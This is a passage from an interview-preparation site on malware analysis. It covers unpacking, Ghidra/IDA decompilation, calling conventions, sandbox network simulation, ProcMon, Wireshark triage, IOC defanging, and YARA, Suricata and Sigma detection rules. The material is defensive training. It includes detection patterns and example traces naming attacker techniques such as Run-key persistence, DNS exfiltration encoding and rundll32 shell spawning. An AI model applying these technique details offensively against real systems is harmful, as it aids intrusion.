sha256sum sample.unpacked.exeupx -l reports the packed and unpacked sizes. If it prints Packed Size and Unpacked Size with a ratio around 2 to 4, that confirms UPX. If UPX says the file is not packed or reports a Packed data exception, the binary was modified after packing or uses a different packer, and I stop rather than forcing it.
| Packer | Telltales | Unpack route |
|---|---|---|
| UPX | UPX0/UPX1 sections, UPX!, tiny imports | upx -d on a copy, no execution |
| ASPack | .aspack or .adata section, ASPack string | aspack unpacker or manual dump at OEP |
| Themida / WinLicense | .winlice, high entropy, anti-debug imports, virtualised code | No reliable static unpacker, dump from memory in debugger |
| VMProtect | .vmp0/.vmp1 sections, virtualisation stubs | Dump from memory, expect virtualised handlers to remain |
When upx -d fails
Modified UPX binaries are common in malware because authors patch the stub to break the standard tool. The failure modes I see are a corrupted UPX! header, extra sections appended after packing, or a changed decompression routine. For those, I run the sample in the isolated VM under a debugger, set a breakpoint on the instruction that jumps to the original entry point (the OEP), let UPX decompress in memory, then dump the process memory and rebuild the PE with Scylla or a similar tool. That runs the packer stub, so it only happens in the VM with host-only networking disabled and a snapshot taken first.
The unpacked file is a new artefact. I hash it separately, re-run the section and import check on it, and record both hashes in the case notes so the verdict ties back to the original sample. If the unpacked imports now show VirtualAlloc, CreateRemoteThread or network APIs that were hidden before, that confirms the packer was hiding capability, not just size.
Curated: · Written: · Reviewed: —
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-11Walk me through your decompilation workflow in Ghidra or IDA, from auto-analysis to renamed, typed, cross-referenced functions you can defend in a report?
The 90-second answer
I treat decompilation as evidence building, not reading. I load the sample read-only, confirm the hash and architecture, let auto-analysis run, then fix function boundaries before I trust any pseudocode. From there I work bottom-up: start at imports and strings, follow cross-references to the functions that use them, rename those functions for what they do, recover types from how arguments and structures are actually accessed, and only then rename callers. Every rename and retype has to survive a check against disassembly and, where behaviour matters, a dynamic run. If a name only makes sense in the decompiler view, I do not keep it.
1. Boundaries first. In Ghidra I check Entry and the first functions against the disassembly listing. Auto-analysis routinely merges a function with the next one after a ret, splits a function at a jump table, or misses a function reached only by an indirect call. In IDA I do the same check with p to create a function and u to undefine bad code. A wrong boundary corrupts stack variables for everything after it, so I fix this before renaming anything. I also clear obvious data misread as code in packed sections, because the decompiler will happily invent a function there.
2. Seed and follow cross-references. I start from the import table and interesting strings, not from the entry point. In Ghidra the Symbol Tree and the References window show who calls VirtualAlloc, CryptDecrypt, InternetOpen, or references a C2 string. In IDA, x on an import or string and the Xrefs window do the same job. I follow data cross-references as carefully as code cross-references: a config blob, a registry key, or a mutex name referenced from one place often identifies the routine that parses it. I record the direction of each reference in my notes, because "called by the installer routine" is a claim I can defend and "looks like crypto" is not.
| Seed | Xref type | What I check before renaming |
|---|---|---|
CryptDecrypt import | code xref from FUN_00401a30 | Is the buffer length and key size consistent with decryption, or is it a hash update? |
String Software\\Microsoft\\Windows\\CurrentVersion\\Run | data xref from FUN_00401c10 | Does the caller write the value, read it, or only compare it? |
0x0040a000 config blob | data xref from two functions | Do both callers parse the same offsets, which suggests a shared struct? |
3. Rename leaves, then recover types. I rename leaf functions first, using a verb and object, for example DecryptConfigBlob rather than CryptoStuff. Then I recover types from access patterns. If a function reads [eax+0x10] as a pointer and [eax+0x14] as a length in three callers, that is a struct field pair, not two unrelated integers. In Ghidra I define the struct in the Data Type Manager, apply it to the parameter, and watch the decompiler. In IDA I use t to retype a variable and Shift+T for structures. I also fix the calling convention and prototype explicitly. A wrong prototype is the most common source of nonsense pseudocode: Ghidra will show a return value that the caller never uses, or hide an output buffer because it thinks the argument is passed by value.
A small GhidraScript (Python, checked against Ghidra 11.3) captures the rename and retype step so it is repeatable across samples:
# GhidraScript: rename a leaf and apply a recovered prototype
from ghidra.program.model.symbol import SourceType
addr = toAddr(0x00401a30)
func = getFunctionAt(addr)
if func:
func.setName("DecryptConfigBlob", SourceType.USER_DEFINED)
# BYTE* out, DWORD out_len, BYTE* in, DWORD in_len
params = func.getParameters()
# Apply types in the Data Type Manager, then set the signature
func.setCustomStorage(True)
print("Renamed: %s" % func.getName())In practice I apply the struct and signature through the GUI and use the script for bulk renames of imported thunks and library functions, which keeps the naming consistent.
4. Propagate upward and validate. Once leaves are named, callers usually read clearly: InstallPersistence calls OpenRunKey, WriteRunValue, and CloseKey. I rename callers last, because their names depend on the leaves. Then I re-check the disassembly for anything the decompiler smoothed over, especially switch statements, indirect calls through a function pointer table, and stack cleanup. Finally I run the sample in the sandbox and confirm that the behaviour matches the names: if DecryptConfigBlob produces a URL in memory, the name holds. If it produces a PE header, I rename it to DecryptPayload and note the change.
The failure modes I watch for are specific. Auto-analysis can create a function from a jump table entry, so a rename there propagates a false call graph. Type recovery can go wrong when a union is forced into a struct, which hides the alternate interpretation that malware often uses for overlapping fields. And renaming by string alone misleads: a sample may reference a Run key only to check for prior infection, not to install persistence. That is why the xref check asks what the caller does with the value before I commit to a name.
Curated: · Written: · Reviewed: —
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-12Walk me through how you read an x64 function prologue and epilogue to recover its arguments, locals, and return value, and tell x86 cdecl apart from x64 Windows?
The 90-second answer
Start at the prologue and work outward. On x64 Windows, which is what most current malware targets, the first four integer or pointer arguments arrive in RCX, RDX, R8, R9, floating point arguments in XMM0 to XMM3, and the return value leaves in RAX. The caller reserves 32 bytes of shadow space at [RSP] to [RSP+1Fh] for those registers, and RSP is 16-byte aligned immediately before the call. On 32-bit x86 cdecl, arguments are pushed right to left, the caller cleans them up, and the return value is in EAX. That difference alone tells you which convention you are reading before you trace a single instruction.
; x64 Windows, checked in Ghidra / x64dbg against a VS2022 build
sub rsp, 28h ; 32 bytes shadow space + 8 bytes alignment padding
mov [rsp+20h], rcx ; arg1 spilled to a local above the shadow space
mov [rsp+8], rdx ; arg2 in its shadow slot, callee may read it there
call 00401230 ; callee may overwrite RCX,RDX,R8,R9,XMM0-5
mov r10, rax ; return value, valid only after the call
add rsp, 28h
retThe shadow slots are fixed: [RSP] for RCX, [RSP+8] for RDX, [RSP+10h] for R8, [RSP+18h] for R9. Anything at [RSP+20h] or higher after a sub rsp, 28h is the caller's own local area, not shadow space. That is why the snippet writes RCX to [RSP+20h] as a local and RDX to [RSP+8] as a shadow slot. Mixing those up makes you read a local as an argument on the next call.
Reading the frame
A classic x86 frame looks like this:
push ebp
mov ebp, esp
sub esp, 40h ; 64 bytes of locals
mov eax, [ebp+8] ; first argument
mov [ebp-4], eax ; first local
pop ebp
retEBP anchors the frame. Positive offsets from EBP are arguments and the return address, negative offsets are locals. In the trace below, EBP points at the saved frame pointer, so [EBP+8] skips the saved EBP and the return address.
| Offset | Contents | Who wrote it |
|---|---|---|
[EBP-40h] to [EBP-4] | Locals, buffers, saved registers | This function, after sub esp, 40h |
[EBP] | Saved EBP | push ebp in the prologue |
[EBP+4] | Return address | call instruction |
[EBP+8], [EBP+0Ch], ... | Arguments, left to right | Caller, pushed right to left |
On x64 the frame pointer is optional. Compilers often omit push rbp / mov rbp, rsp and address locals directly from RSP, for example mov [rsp+30h], eax. That is not obfuscation. It is the default at /O2 in recent MSVC and GCC builds. When RBP is used, treat it as a frame anchor only after you see it set from RSP. Malware and packed code sometimes reuse RBP as a general register, so a broken RBP chain does not mean your disassembly is wrong.
Comparing the conventions you will meet
| x86 cdecl | x64 Windows | x64 System V (Linux) | |
|---|---|---|---|
| First integer args | Stack, [EBP+8] onward | RCX, RDX, R8, R9 | RDI, RSI, RDX, RCX, R8, R9 |
| Return value | EAX | RAX | RAX |
| Cleanup | Caller (add esp, N) | Caller reserves shadow space | Caller, no shadow space |
| Callee-saved | EBX, ESI, EDI, EBP | RBX, RBP, RDI, RSI, R12-R15 | RBX, RBP, R12-R15 |
Alignment at call | Not guaranteed | RSP 16-byte aligned before call | RSP 16-byte aligned before call |
The System V column matters when you move between Windows samples and Linux ELF samples, or when you read a shared library. The register order is different enough that a function taking (char *path, int flags) reads as RCX, RDX on Windows and RDI, RSI on Linux. If you carry the wrong order into a debugger, you will swap the arguments and misread the call.
Where this breaks in real samples
Optimised code inlines small helpers, so the call you expect is missing and the logic sits in the caller. Tail calls replace call plus ret with a jump, which makes the stack frame look like it belongs to the wrong function. Hand-written shellcode often ignores the convention entirely and passes values in registers it chose itself. Packed samples add another layer: the disassembly you see first is the unpacker stub, and the real frame only appears after the payload is decrypted in memory. In each case the check is the same. Confirm where a value is written before the call, confirm where it is read after the call, and do not trust a register name from a decompiler until you have seen both sides.
For a live sample, set breakpoints at the call sites you care about, inspect RCX through R9 and the shadow space at [RSP] to [RSP+1Fh] on entry, and inspect RAX on return. That gives you the arguments and result the disassembly promised, even when the frame pointer is missing.
Curated: · Written: · Reviewed: —
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-13A sample resolves its C2 domain and requests /payload.bin, but INetSim returns a generic 404 and the sample exits: how would you serve a custom reply with FakeNet-NG, and when would you stay with INetSim instead?
The 90-second answer
I keep the sample on an isolated virtual network where the only peer is a Linux gateway. The Windows analysis VM has no route to the real internet. I revert it to a clean snapshot before the run, start capture on the gateway, and let the gateway answer DNS and HTTP. INetSim is fine for the first pass, when I only need to see whether the sample resolves a name or attempts a connection. When the sample needs a specific file at a specific path, I switch the gateway to FakeNet-NG and serve that file myself. That change in reply, not a change in the VM, is usually what stops the early exit.
What I change in FakeNet-NG
FakeNet-NG listens on the gateway for the ports the sample uses and diverts traffic to those listeners. I point the HTTP listener at a response file that matches the path in the pcap. If the sample asked for /payload.bin, the reply has to be a plausible payload, with the right status and content type, or the sample will still bail out.
# faknet.ini excerpt, FakeNet-NG 1.x, gateway at 192.168.56.1
[FakeNet]
RunFakeNet = True
[Diversion]
TCP 80,53 = 192.168.56.1
[HTTP]
Port = 80
ResponseFile = responses/payload_reply.bin
LogFile = logs/fakenet.logThe response file is the file the sample expects, served with a 200 status. I build it from a known good sample of the same family, or from a harmless test file if I only need to see the next stage. I also log the request headers, because the sample often checks the user agent or a query string before it will accept the file.
| INetSim | FakeNet-NG on gateway | |
|---|---|---|
| Reply control | Fixed replies per service, set in its config | Per path, per file, editable between runs |
| Logging | Service logs plus pcap on gateway | Request log with method, path and headers, plus pcap |
| Setup cost | Start it and point guest DNS at it | Write the ini and response files for each sample |
| Fingerprint risk | Well known banners and default pages | Lower if I match the expected content, still detectable |
Worked trace
| Step | What happens | What I check |
|---|---|---|
| 1 | Guest queries cdn.example.net at 192.168.56.1 | pcap shows DNS query, gateway answers with its own IP |
| 2 | Sample requests GET /payload.bin on port 80 | FakeNet log records path and user agent |
| 3 | FakeNet returns 200 and the payload file | Sample writes the file to disk, visible in ProcMon |
| 4 | Sample runs the payload and makes a second request | Second request appears in the log, so I know stage two started |
With INetSim the same trace stops at step 3. It returns its default page for port 80, the sample sees unexpected content, and it exits. The pcap still tells me the domain, the path and the timing, which is useful, but it does not tell me what the payload would have done.
When I stay with INetSim
For triage of many samples, INetSim wins on speed. I start it once, point every guest at it, and collect domains, IPs and ports across a batch. I only move a sample to FakeNet-NG when the generic reply blocks progress, or when I need to serve a file, a JSON config, or a redirect chain. That keeps the custom setup for the samples that need it.
Two limits stay in mind. If the sample uses a hardcoded IP, DNS simulation never triggers, so I rely on the gateway pcap to see the connection attempt and add a listener for that address. If it uses HTTPS with certificate pinning, a plain HTTP reply will fail the handshake. I record that failure in the pcap rather than forcing a proxy, because a proxy changes what the sample sees and can hide the pinning check. I also revert the snapshot after the run, since the payload may have changed persistence keys or dropped files that would contaminate the next sample.
Curated: · Written: · Reviewed: —
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-14What does ProcMon record about a running sample that Process Explorer does not, and vice versa?
The 90-second answer
ProcMon is a history. Process Explorer is a snapshot. ProcMon records every file, registry, and process operation a sample performs, in order, with a timestamp and a result. Process Explorer shows the live state of a process at the moment you look at it, its parent, loaded DLLs, handles, threads, and connections. I use ProcMon to answer what happened, and Process Explorer to answer what is true right now about the process that did it.
ProcMon: the event log
ProcMon, from Sysinternals, monitors system calls through its driver and logs operations such as CreateFile, WriteFile, RegSetValue, RegCreateKey, and Process Create. Each row carries the time, process name, PID, operation, path, and result. That makes it the right tool for tracing behaviour across files, registry, and processes, because a persistence mechanism or a dropped file only exists as a sequence of those operations.
A short excerpt from an exported log looks like this:
| Time | Process | Operation | Path | Result |
|---|---|---|---|---|
| 10:01:04 | invoice.exe | CreateFile | C:\Users\Public\cache.dat | SUCCESS |
| 10:01:04 | invoice.exe | WriteFile | C:\Users\Public\cache.dat | SUCCESS |
| 10:01:05 | invoice.exe | RegSetValue | HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Updater | SUCCESS |
| 10:01:06 | invoice.exe | Process Create | C:\Windows\System32\cmd.exe | SUCCESS |
Filtering before I run the sample keeps that log readable. I filter on the process name and on the operations I care about, and I exclude NAME NOT FOUND, which Windows generates in large numbers when a program probes for DLLs and config files that do not exist.
Process Name is invoice.exe
Operation is CreateFile
Operation is WriteFile
Operation is RegSetValue
Operation is Process Create
Result is not NAME NOT FOUNDProcess Explorer: the live snapshot
Process Explorer shows the process tree as it exists now. For a selected PID I can see its parent process, command line, loaded DLLs, open handles, threads, and TCP/IP connections. It does not keep a history. If a handle closes or a connection drops, that fact is gone unless I was watching at that moment. That is why it complements ProcMon rather than replacing it. ProcMon tells me a registry key was written at 10:01:05. Process Explorer tells me whether the process that wrote it is still running, what DLL it loaded to do the work, and whether it still holds the file open.
| Question | ProcMon | Process Explorer |
|---|---|---|
| What files did the sample write, and when? | Yes, logged with timestamp | No, only files still open as handles |
| What registry keys did it change? | Yes, RegSetValue and RegCreateKey events | No, registry access is not shown |
| What child processes did it spawn? | Yes, Process Create events | Yes, shown in the live tree |
| Which DLLs are loaded right now? | No | Yes, DLLs tab |
| Which network connections are live right now? | No, network calls are not its focus | Yes, TCP/IP tab |
| What was the command line? | No | Yes, Properties tab |
How I combine them in practice
I start ProcMon in an isolated VM, apply the filters, then launch the sample and note its PID. While it runs, I open Process Explorer, find that PID, and check the DLLs and TCP/IP tabs. If ProcMon later shows a Process Create for a child, I look up the child PID in Process Explorer to see its parent and command line, which confirms the spawn rather than a coincidental system process. If ProcMon shows a dropped file, I copy that file from disk before I revert the VM snapshot, so the trace can be handed to static analysis.
One limit to keep in mind: ProcMon can drop events if the buffer fills, and Process Explorer only shows the present. A sample that exits in two seconds may leave almost nothing in Process Explorer, while ProcMon still holds the full sequence. That is the practical reason the log comes first and the snapshot second.
Curated: · Written: · Reviewed: —
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-15Walk me through how you capture and interpret C2 beaconing, DNS exfiltration, and HTTP traffic in Wireshark and tcpdump to separate malware from benign noise?
The 90-second answer
Capture on the infected host or on an isolated tap in the lab, with a ring buffer running before detonation, and keep the pcap as evidence. I start tcpdump to get a complete, timestamped file, then do the triage in Wireshark where I can follow streams and decode payloads. Three patterns decide the verdict. Beaconing is a small, fixed-size request to a rare domain at near-regular intervals with jitter, often with no user-initiated trigger. DNS exfiltration is a stream of unique, long subdomains, usually TXT, NULL, or MX queries, with low TTLs and a high query-to-response byte ratio. HTTP C2 is a POST or GET with an encoded or encrypted body, a mismatched User-Agent, and a response that is opaque data rather than a page. Benign traffic rarely shows all three from the same process, so I correlate the pcap with process and DNS logs before I call it.
Capture setup
# tcpdump 4.9, Linux, capture on the analysis interface
sudo tcpdump -i eth0 -nn -s 0 -B 8192 -C 100 -W 10 \
-w /evidence/capture.pcap \
'host 10.0.4.17 and (udp port 53 or tcp port 80 or tcp port 443)'-s 0 stores full packets, which matters for DNS payloads and HTTP bodies. -C 100 -W 10 rotates at 100 MB so a long beacon does not fill the disk. I note the clock offset against the host log, because a 90 second beacon looks like 60 seconds if the VM clock drifts. In Wireshark I use display filters, not capture filters, for the first pass: dns.flags.response == 0, http.request.method == "POST", and tls.handshake.extensions_server_name to group by SNI. For DNS exfiltration I sort by dns.qry.name.len and look for names over 40 characters. Chrome, OCSP, and antivirus lookups can also produce long names, so length alone is not a verdict.
Beaconing: worked trace
A hypothetical capture from one host, SNI cdn-metrics.example.net, 214 byte TLS records each way:
| Time (s) | Interval (s) | Bytes out/in | Notes |
|---|---|---|---|
| 0 | - | 214 / 312 | first contact after process start |
| 61 | 61 | 214 / 312 | identical sizes |
| 119 | 58 | 214 / 312 | jitter -3 s |
| 182 | 63 | 214 / 312 | jitter +2 s |
| 243 | 61 | 214 / 312 | no DNS lookup, IP cached |
Mean interval 60.6 s, standard deviation about 1.8 s. That regularity, plus fixed sizes and a domain seen once on the network, is the signal. I check for sleep and jitter settings in the config or strings, and I extend the capture past two intervals before concluding the sample is dormant. Failure mode: a sample that beacons every 10 minutes will look silent in a 5 minute detonation, and a sample that only beacons on a weekday or after a reboot will miss a short run entirely.
DNS exfiltration: arithmetic and checks
DNS labels are capped at 63 bytes and a full name at 253 bytes, so an attacker encodes data in the leftmost labels. Base32 expands data by 8/5, base64 by 4/3 and needs case handling that DNS may not preserve. With 180 usable bytes per query in base32, the payload is about 112 bytes per query. At 20 queries per second that is roughly 2.2 KB/s, or about 190 MB per day if sustained, which is why I look at query rate as well as total volume. I flag TXT (type 16), NULL (type 10), and MX queries to a single registered domain, unique subdomains that never repeat, and responses that carry encoded data back. I then reassemble in order of the sequence number many families embed in the first label, decode, and check the result against a known file header or a compressed stream. Benign counterexamples I rule out first: DNS over HTTPS resolvers, Chrome random-word probes, and OCSP responders, all of which use long names but repeat across hosts and resolve to known infrastructure.
HTTP traffic
I follow the TCP stream for any POST to a rare host, export the body, and test it as raw, hex, base64, and XOR with a single byte key derived from the URI or a string in the binary. A C2 body often decodes to a structured blob with a length prefix, while a benign upload decodes to a multipart form or JSON I can read. I compare the User-Agent and TLS fingerprint to the process that made the connection. A curl User-Agent from a process that is not curl, or a browser User-Agent on a connection from a service account, is worth chasing. I also check the response: a 200 with a short opaque body and a Content-Type: application/octet-stream from a host with no web presence fits C2, while a redirect chain to a real site does not.
When the capture misleads
DoH and DoT hide DNS from a port 53 capture, so I check for connections to known DoH IPs on 443 and for a local resolver process. QUIC on UDP 443 hides HTTP semantics, so I note the UDP flow and fall back to host logs. Domain fronting and CDN hosting make the SNI look benign, so I weigh rarity, age of the domain, and process correlation over the name alone. If the pcap shows nothing, I do not conclude the sample is offline. I check whether it waited, whether it needed a specific date or user interaction, and whether it used a hardcoded IP that the lab firewall blocked, which shows up as SYN retries with no reply.
Curated: · Written: · Reviewed: —
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-16Your sample's strings list a C2 domain and a Run key, but a sandbox run shows neither, only a mutex and a dropped file: how do you decide which IOCs to report and what do you check next?
The 90-second answer
I would not report the strings list as the IOC list. I treat the domain and Run key as candidates and the mutex and dropped file as confirmed, then I run one check that can settle the candidates: extract the embedded config and rerun with FakeNet-NG logging DNS and HTTP. If the config contains the same domain, or the rerun shows a DNS query for it, I promote it. If neither appears, I keep it as a low confidence candidate in an appendix, not as a detection IOC.
Static extraction is fast and finds dormant or encoded values. Dynamic monitoring proves use. The trade-off is coverage against proof. Strings alone over-report builder stubs, compiler artefacts and leftover test domains. A single sandbox run under-reports anything triggered by a date, a sleep timer, a VM check or a missing file.
Applying it to this sample
First, I check where the static hits came from. I run FLOSS alongside plain strings. FLOSS recovers stack strings and simple decoded strings that plain strings misses, so a hit that appears only in FLOSS is more likely built by the sample. A hit that appears in both, inside a resource or a config blob, is stronger still. I also check imports and section names. A Run key string next to RegSetValueExW in the import table is a different signal from the same string in an unused resource.
Second, I confirm the dynamic hits. In ProcMon I filter on the sample PID and look for CreateMutex, CreateFile and WriteFile. In Regshot I compare before and after snapshots. That gives me the exact mutex name, the full dropped path, and whether any registry value actually changed. A mutex such as Global\MsWinZonesCacheCounterMutexA0 is a known Windows name, so I compare it against a clean VM run before I report it. A unique mutex created by the sample PID is reportable, with the caveat that it is easy for an actor to change.
Third, I settle the domain. FakeNet-NG answers DNS and HTTP locally and logs the request line and headers, including the user agent the sample sends. I watch for three outcomes:
| Outcome in rerun | Interpretation | Reporting decision |
|---|---|---|
| DNS query for the static domain, then HTTP with a custom user agent | Sample used it | Report domain, IP if resolved, and user agent as confirmed |
| Burst of NXDOMAIN or sinkholed queries for unrelated names | DGA behaviour | Report the DGA seed and algorithm, not each generated domain |
| No query, but config blob contains the domain | Dormant fallback or second stage trigger | Report as candidate, note trigger condition if known |
| No query and no config match | Likely stub, test value or dead code | Drop from IOC list, keep in appendix if needed |
The same logic applies to the Run key. If Regshot shows no change and ProcMon shows no RegSetValue from the sample PID, I do not report it as persistence. If the key appears in the config, I note that it may be written by a later stage after a download, which is a different claim from persistence observed in this run.
Normalising the final list
I defang and deduplicate before handing off, so detection tooling does not ingest live values by accident:
# Python 3.11, stdlib only
import re
def defang(value: str) -> str:
value = re.sub(r"https?://", lambda m: m.group(0).replace("http", "hxxp"), value, flags=re.I)
return value.replace(".", "[.]")
iocs = [
"http://cdn-update.example.com/beacon",
r"HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Updater",
r"C:\Users\Public\cache.dat",
]
for ioc in iocs:
print(defang(ioc))Output:
hxxp://cdn-update[.]example[.]com/beacon
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Updater
C:\Users\Public\cache[.]datFor the registry item I report the full path plus value name and value data, because the path alone matches legitimate updaters. For the file I report the full path and the action observed, create or write. For the user agent I report the exact string from the FakeNet log, not a string found in the binary, since libraries embed default agents that are never sent.
That gives the detection team two tiers they can act on: confirmed IOCs from observed behaviour, and candidates from static or config evidence with the reason they were not confirmed. It also makes the report defensible if someone asks why the static domain was included or excluded.
Curated: · Written: · Reviewed: —
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-17A sample contains the string "cmd.exe" and the hex sequence { 8B 45 ?? 85 C0 74 ?? }, but many benign files also contain that string: how would you write a YARA rule with a wildcarded hex pattern and a condition that requires both features to cut false positives?
The 90-second answer
I would define the string and the hex pattern separately, then make the condition require both. The string alone is weak because cmd.exe appears in installers, admin tools and scripts. The hex pattern alone can also appear by chance in unrelated code. Requiring both means a benign file needs two independent coincidences before it matches.
rule Sample_Stub {
meta:
description = "Sample stub: cmd string plus decoder hex"
strings:
$s1 = "cmd.exe" ascii wide nocase
// 8B 45 ?? loads a stack argument, ?? masks the offset that changes per build
// 85 C0 tests EAX, 74 ?? is a conditional jump whose offset varies
$h1 = { 8B 45 ?? 85 C0 74 ?? }
condition:
uint16(0) == 0x5A4D and filesize < 5MB and $s1 and $h1
}uint16(0) == 0x5A4D checks the MZ header, so the rule only runs on PE files. filesize < 5MB is a cheap guard against a coincidental match inside a large installer. The core of the rule is the final and. Either feature on its own is not enough.
Why the wildcard matters
A hex pattern without wildcards has to match byte for byte. If the next build uses a different stack offset, 8B 45 08 becomes 8B 45 0C and the rule misses every new sample. The ?? wildcard matches any single byte, so 8B 45 ?? tolerates that change while still requiring the surrounding bytes to line up. The same applies to 74 ??, where the jump target changes with code layout.
Wildcards have a cost. Each one widens the set of files that can match, so I keep the fixed bytes long enough to stay specific. This pattern has five fixed bytes in a fixed order, which is short. In practice I would extend it with the next fixed instruction after the jump, for example 8B 45 ?? 85 C0 74 ?? 8B 4D ??, and test how many benign files hit it before I ship the rule.
Worked trace
I test the rule against a small labelled set and look at which feature fires on which file:
| File group | $s1 hit | $h1 hit | Rule result |
|---|---|---|---|
| Target sample, 10 files | 10 | 10 | 10 match |
| Benign admin tools, 30 files | 22 | 0 | 0 match |
| Unrelated PE files, 30 files | 1 | 2 | 0 match |
| Repacked target, 5 files | 5 | 0, strings encrypted | 0 match |
The trace shows the trade-off clearly. Using only $s1 would flag 22 benign tools. Using only $h1 would flag 2 unrelated files. The and condition flags none of them, at the price of missing the repacked set where the string is encrypted. That is the right trade for a first rule. I would rather miss a packed variant and write a second rule for the packer stub than loosen this condition and start flagging admin tools.
Tuning when it still fires
If a benign file does match both features, I check which part is too loose. Usually the hex pattern is matching shared compiler code. I then add a fixed byte, add a second string such as a mutex or registry key from the sample, or change the condition to 1 of ($h*) and 2 of ($s*) so more evidence is required. I never fix a false positive by deleting the hex pattern and relying on the string, because that moves the rule in the wrong direction on specificity.
I also record the sample hashes the rule was tested on in meta. When a new false positive appears months later, that record shows whether the rule changed or the file population did.
Curated: · Written: · Reviewed: —
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-18What does the sid field in a Snort or Suricata rule identify, and how do you write a basic rule to alert on a known malware HTTP URI?
The 90-second answer
sid is the unique numeric identifier for that one rule. The engine uses it to log, suppress, and update the rule, so two different rules must never share a sid. rev is separate. You bump rev when you change the content of a rule that keeps the same sid.
A rule has two parts. The header says what traffic to inspect. The options in parentheses say what to match inside it and what to log when it matches.
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"Malware beacon URI /gate.php"; http_uri; content:"/gate.php"; sid:100001; rev:1; classtype:trojan-activity; reference:url,example.invalid/gate-php)Header, left to right: alert is the action, http is the protocol, $HOME_NET any is the source, -> is direction, $EXTERNAL_NET any is the destination. Options: msg is the text in the alert, http_uri restricts the search to the URI buffer, content is the literal string to find, sid identifies the rule, rev versions it.
How a packet is decided
| Packet field | Rule field | Match result |
|---|---|---|
| --- | --- | --- |
| --- | --- | --- |
| TCP, port 80, client to server | alert http $HOME_NET any -> $EXTERNAL_NET any | Header passes, options are checked |
GET /index.html HTTP/1.1 | content:"/gate.php" | No match, packet passes |
GET /gate.php?id=4815 HTTP/1.1 | content:"/gate.php" | Match, alert fires with sid:100001 |
| TCP, port 443, TLS encrypted | alert http ... | No match, payload is not visible as HTTP |
That last row is the common miss. An HTTP rule will not see a beacon inside TLS. You need a TLS rule, a certificate or SNI match, or a network indicator such as destination IP, JA3 hash, or DNS query, depending on what the sample actually sends.
Snort and Suricata differences that bite in practice
Suricata supports sticky buffers such as http.uri and http.user_agent with the dot syntax, plus eve.json logging and datasets for large indicator lists. Snort 2 uses http_uri and http_user_agent as modifiers on content. Snort 3 moved closer to the Suricata style. A rule copied between engines without checking the buffer syntax will load with an error or, worse, match on the whole payload when you meant only the URI.
Test before you deploy. Suricata: suricata -T -c suricata.yaml -S rules/malware.rules. Snort 2: snort -T -c snort.conf -S rules/malware.rules. Both will reject a duplicate sid in the same rule set, which is how a collision usually surfaces. In production it surfaces differently: the second rule silently replaces the first in some management tools, and alerts start carrying the wrong msg for that sid.
Failure modes to name in an interview
A content string that is too short or too common, such as content:"GET", fires on benign traffic and buries the beacon. A content string taken from a single sandbox run, such as a full URL with a session ID, stops matching the next infection. Pick the stable part of the indicator, usually a URI path, a user-agent fragment, or a POST body marker, and add a second condition such as http.method or a header match when one string is not specific enough.
Missing flow handling also matters. For TCP you often want flow:established,to_server so the rule only inspects the request direction and does not alert on the server response repeating the same string. Without it, a response that echoes the URI can trigger a second alert for the same session.
Keep sid values in a register you control, for example 100000 to 199999 for local malware rules, and never reuse a retired sid for a different detection. Reusing it breaks historical alert correlation, because last month's sid:100001 meant one family and this month's means another.
Curated: · Written: · Reviewed: —
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-19How would you write a Sigma rule to detect rundll32 spawning cmd.exe without firing on legitimate admin scripts, and how would you tune it against Sysmon telemetry?
The 90-second answer
Assume Windows endpoints with Sysmon, Event IDs 1 (ProcessCreate), 10 (ProcessAccess), 11 (FileCreate) and 3 (NetworkConnection) forwarded to the SIEM, and Sigma converted with pySigma. Rundll32 spawning cmd.exe or PowerShell happens in admin scripts, installers and management tools, so a single event does not prove malware. The rule needs the parent, the child, and a negative filter for known good use, then tuning against a week of telemetry before it pages anyone.
title: Rundll32 Spawning Interactive Shell
id: 8f3a1c2e-1111-4a2b-9c3d-000000000019
status: experimental
logsource:
product: windows
category: process_creation
detection:
selection_parent:
ParentImage|endswith: '\rundll32.exe'
selection_child:
Image|endswith:
- '\cmd.exe'
- '\powershell.exe'
- '\pwsh.exe'
filter_legit:
CommandLine|contains:
- 'SoftwareDistribution'
- 'spool\drivers'
condition: selection_parent and selection_child and not filter_legit
level: high
tags:
- attack.execution
- attack.t1218.011That draft is still too broad to ship. In production I would add a suspicious context check, for example the rundll32 command line pointing to a DLL under %TEMP%, %APPDATA% or %LOCALAPPDATA%, or a PowerShell child using -EncodedCommand. I would keep the filter list in a separate tuning file so analysts can update known good scripts without changing the detection logic. I would also pair it with a correlation rule: the same rundll32 PID creating a file in Temp (Event 11) or accessing LSASS memory (Event 10) within 5 minutes raises severity. Correlation catches cases where the shell spawn is hidden by renaming the child.
Tuning against real telemetry
Run the rule in audit mode for 7 days and bucket every hit by parent image, user and command line. A worked trace from a 5,000 endpoint fleet, labelled as an example, looked like this:
| ParentImage | Child | CommandLine pattern | Verdict after review |
|---|---|---|---|
rundll32.exe in System32 | cmd.exe | /c echo %DATE% >> log | Benign, scheduled task, add to filter |
rundll32.exe in System32 | powershell.exe | -EncodedCommand with DLL in AppData | True positive, escalate |
rundll32.exe in Temp | cmd.exe | /c whoami && net group | True positive, isolate host |
rundll32.exe in System32 | cmd.exe | installer cleanup script | Benign, add parent hash to allowlist |
Arithmetic decides whether the rule survives. If the fleet generates 2 million Sysmon Event 1 records per day and the untuned rule fires on 0.05 percent, that is 1,000 alerts per day. No team triages that. After adding the Temp and AppData path constraint and the encoded command check, the same fleet produced 12 hits per day, 9 of them benign and reviewed in under an hour. That ratio, roughly 1 true positive per 4 alerts, is the point where I would promote it from experimental to test and then to production. If the ratio stays below 1 in 20 after two tuning cycles, I retire it or demote it to a hunting query.
Failure modes I check before shipping
